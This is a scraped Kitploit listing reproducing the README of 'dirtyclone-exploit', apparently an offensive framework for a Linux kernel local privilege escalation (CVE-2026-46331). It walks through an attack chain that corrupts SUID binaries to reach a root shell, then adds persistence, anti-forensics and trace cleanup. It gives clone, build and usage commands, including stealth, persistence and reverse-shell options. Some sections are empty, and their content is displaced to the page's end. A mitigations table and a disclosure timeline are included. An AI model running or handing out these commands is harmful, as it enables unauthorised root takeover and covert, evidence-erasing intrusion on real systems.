Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
dirtyclone-exploit — CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9 | Kitploit
Tools/GitHubGitHub/vulnquest58/dirtyclone-exploit
Privilege EscalationPersistence MechanismsVulnerability AnalysisExploitationPost-ExploitationPenetration TestingLearning & EducationPayload DevelopmentBinary Exploitation
GitHubvulnquest58/dirtyclone-exploit

dirtyclone-exploit

CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9

511 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

DirtyClone Exploit Framework

CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║   ____  _      _         ____ _                              ║
║  |  _ \(_)_ __| |_ _   _/ ___| | ___  _ __   ___           ║
║  | | | | | '__| __| | | | |   | |/ _ \| '_ \ / _ \        ║
║  | |_| | | |  | |_| |_| | |___| | (_) | | | |  __/        ║
║  |____/|_|_|   \__|_, |\____|_|\___/|_| |_|\___|           ║
║                    |___/                                     ║
╠═══════════════════════════════════════════════════════════════╣
║  CVE-2026-46331 · v1.0.0 · FOR RESEARCH AND EDUCATION ONLY  ║
╚═══════════════════════════════════════════════════════════════╝

License: MIT CVE Kernel Language


⚠️ FOR EDUCATIONAL AND RESEARCH PURPOSES ONLY Use this framework exclusively in isolated lab environments that you own or have explicit written authorization to test. Unauthorized use is illegal and unethical.


📋 Table of Contents

  • Vulnerability Overview
  • Attack Chain
  • Project Structure
  • Requirements
  • Build & Install
  • Usage
  • Python Modules
  • Defensive Mitigations
  • Timeline
  • References

🔬 Vulnerability Overview

CVE-2026-46331 is a local privilege escalation vulnerability in the Linux kernel (≤ 6.12.9) caused by a race condition between the TC (cls_act) pedit action and IPsec TEE-based packet duplication.

Root Cause

When a packet traverses the TC egress path with a pedit action that sets IHL = 15, the kernel's IPsec subsystem receives a malformed packet where the computed IP payload offset exceeds the actual packet boundaries. Under concurrent sendfile(2) operations, this mismatch allows an unprivileged user (inside a user namespace with CAP_NET_ADMIN) to corrupt read-only page cache entries of arbitrary files — including SUID binaries.

Impact


🔗 Attack Chain

root@kitploit:~
Unprivileged User (UID=1000)
         │
         ▼
[1] Reconnaissance
    ├─ Kernel version check
    ├─ userns availability
    └─ Target binary profiling
         │
         ▼
[2] Namespace Bypass
    ├─ unshare(CLONE_NEWUSER|CLONE_NEWNET)
    ├─ AppArmor profile hopping (fallback)
    └─ CAP_NET_ADMIN acquired
         │
         ▼
[3] Network Infrastructure
    ├─ clsact qdisc on lo
    ├─ pedit filter (IHL=15)
    └─ IPsec ESP + TEE
         │
         ▼
[4] Page Cache Corruption
    ├─ sendfile → pedit trigger
    ├─ Page cache entry corrupted
    └─ Shellcode written to read-only binary
         │
         ▼
[5] Privilege Escalation
    └─ execve(SUID binary) → root shell
         │
         ▼
[6-8] Post-Exploitation
    ├─ Persistence (6 mechanisms)
    ├─ Evasion / Anti-Forensics
    └─ Trace cleanup
         │
         ▼
    🎯 ROOT SHELL (UID=0 EUID=0)

📁 Project Structure

root@kitploit:~
dirtyclone-exploit/
├── Makefile                          # Build system
├── README.md                         # This file
├── LICENSE                           # MIT License
│
├── include/
│   ├── exploit.h                     # Core types, flags, prototypes
│   ├── packet_engine.h               # Packet crafting engine API
│   ├── memory_ops.h                  # Page cache corruption API
│   └── persistence.h                 # Persistence mechanism API
│
├── src/
│   ├── main.c                        # Framework entry point
│   ├── stage_env_analysis.c          # Phase 1: Reconnaissance
│   ├── stage_namespace_bypass.c      # Phase 2: userns bypass
│   ├── stage_network_setup.c         # Phase 3: TC/IPsec setup
│   ├── stage_page_cache_corrupt.c    # Phase 4: Core exploit
│   ├── stage_privilege_escalation.c  # Phase 5: LPE
│   ├── stage_persistence.c           # Phase 6: Persistence
│   ├── stage_evasion.c               # Phase 7: Anti-forensics
│   ├── stage_cleanup.c               # Phase 8: Trace removal
│   ├── memory_ops.c                  # Page cache primitives
│   ├── packet_engine.c               # Raw packet crafting
│   └── persistence.c                 # Persistence implementations
│
├── modules/
│   ├── packet_craft.py               # Python packet crafter (Scapy)
│   └── exploit_analyzer.py           # Pre-exploit analysis tool
│
├── scripts/
│   ├── setup_env.sh                  # Dependency install + build
│   ├── cleanup.sh                    # System cleanup
│   └── detect_targets.sh             # Vulnerable binary scanner
│
└── payloads/
    └── README.md                     # Payload directory info

⚙️ Requirements

Compile-time

  • gcc ≥ 10
  • make
  • libcap-dev / libcap-devel

Runtime (Linux target)

  • Kernel ≤ 6.12.9
  • iproute2 (tc, ip)
  • iptables
  • Unprivileged user namespaces enabled

Python modules (optional)

root@kitploit:~
pip install scapy

🔧 Build & Install

root@kitploit:~
# Clone
git clone https://github.com/vulnquest58/dirtyclone-exploit
cd dirtyclone-exploit

# Auto setup (installs deps + builds)
sudo bash scripts/setup_env.sh

# Manual build
make all

# Debug build
make debug

# Clean
make clean

🚀 Usage

root@kitploit:~
# Show help
./bin/dirtyclone --help

# Dry run (analysis only, no exploitation)
./bin/dirtyclone --test

# Basic exploitation (default target: /usr/bin/su)
sudo ./bin/dirtyclone

# Custom target with stealth + persistence
sudo ./bin/dirtyclone --target /usr/bin/sudo --stealth --persist

# Reverse shell
sudo ./bin/dirtyclone --remote 192.168.1.100 4444 --cleanup

# Detect vulnerable targets first
bash scripts/detect_targets.sh

🐍 Python Modules

exploit_analyzer.py — Pre-Exploit Reconnaissance

root@kitploit:~
# Analyze default target
python3 modules/exploit_analyzer.py

# Custom target
python3 modules/exploit_analyzer.py --target /usr/bin/sudo

# JSON output for automation
python3 modules/exploit_analyzer.py --json

# Scan all SUID binaries
python3 modules/exploit_analyzer.py --all-suid

packet_craft.py — Raw Packet Trigger

root@kitploit:~
# Send exploit packets at offset 0x1234
sudo python3 modules/packet_craft.py --offset 0x1234

# Custom interface and packet count
sudo python3 modules/packet_craft.py --iface eth0 --count 20

🛡️ Defensive Mitigations


📅 Timeline

DateEvent
2026-01-15

📚 References

  • CVE-2026-46331 NVD Entry
  • Linux Kernel TC Subsystem Documentation
  • IPsec TEE Implementation
  • User Namespace Security
  • DirtyClone Technical Write-up

👤 Author

VulnQuest · Security Research

  • 🌐 vulnquest58.github.io
  • 🐛 Bug Bounty Portfolio

This repository is provided for educational purposes only. All exploitation code is intended for use in authorized lab environments.

Download Tool
PropertyValue
CVSS 3.1 Score8.8 (HIGH)
Attack VectorLocal
Privileges RequiredLow (unprivileged user)
ImpactRoot shell (UID=0 EUID=0)
Affected versionsLinux kernel ≤ 6.12.9
Patched version6.12.10
Patch commita3f4d1c8...
MitigationCommand / Action
Update kernelUpgrade to ≥ 6.12.10 (primary fix)
Disable user namespacesecho 0 > /proc/sys/kernel/unprivileged_userns_clone
AppArmor restrictionsEnable apparmor with userns restriction profile
Audit TC peditauditctl -a always,exit -F arch=b64 -S unshare
File integrityDeploy AIDE or Tripwire on SUID binaries
Seccomp filtersBlock unshare() in production containers
Vulnerability discovered during kernel audit
2026-02-03Reported to [email protected]
2026-03-28Patch committed (6.12.10)
2026-06-01Public disclosure (90-day deadline)
2026-06-27Full PoC released